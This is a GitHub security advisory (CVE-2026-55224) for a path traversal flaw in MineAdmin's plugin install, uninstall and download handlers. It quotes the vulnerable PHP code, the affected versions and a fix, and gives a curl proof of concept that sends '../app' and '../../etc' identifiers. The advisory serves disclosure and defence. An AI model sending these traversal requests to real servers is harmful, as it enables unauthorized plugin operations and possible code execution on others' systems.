GHSA-59xm-4m8c-g3xj

Suggest an improvement
Source
https://github.com/advisories/GHSA-59xm-4m8c-g3xj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-59xm-4m8c-g3xj/GHSA-59xm-4m8c-g3xj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-59xm-4m8c-g3xj
Aliases
  • CVE-2026-55224
Published
2026-08-18T20:40:37Z
Modified
2026-08-18T20:56:02Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall
Details

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

  • Path traversal enables reading directory existence outside the plugin directory
  • Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
  • Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
  • Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Database specific
{
    "cwe_ids":  [
        "CWE-22"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-08-18T20:40:37Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

Packagist / mineadmin/mineadmin

Package

Name
mineadmin/mineadmin
Purl
pkg:composer/mineadmin/mineadmin

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.2.0-alpha.2

Affected versions

v0.*
v0.6.2
v0.6.3
v0.7.0
v0.7.1
v0.7.2
v1.*
v1.0.0
v1.1.0
v1.1.1
v1.2.0
v1.2.1
v1.3.0
v1.3.3
v1.4.1
v1.4.11
v1.4.12
v1.4.13
v2.*
v2.0-RC.1
v2.0.0-alpha.2
v2.0.0-alpha.3
v2.0.0-alpha.4
v2.0.0-alpha.5
v2.0.0-beta
v2.0.0-beta.1
v2.0.0-beta.2
v2.0.0-beta.3
v2.0.0-beta.4
v2.0.0-beta.5
v2.0.0-beta.6
v2.0.1
v2.0.1.1
v2.0.2
v2.0.3
2.*
2.0.0-alpha.1
v3.*
v3.0-RC
v3.0
v3.0.1
v3.0.2
v3.0.3
v3.0.4
v3.0.5
v3.0.6
v3.0.7
v3.0.8
v3.0.9
v3.2.0-alpha.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-59xm-4m8c-g3xj/GHSA-59xm-4m8c-g3xj.json"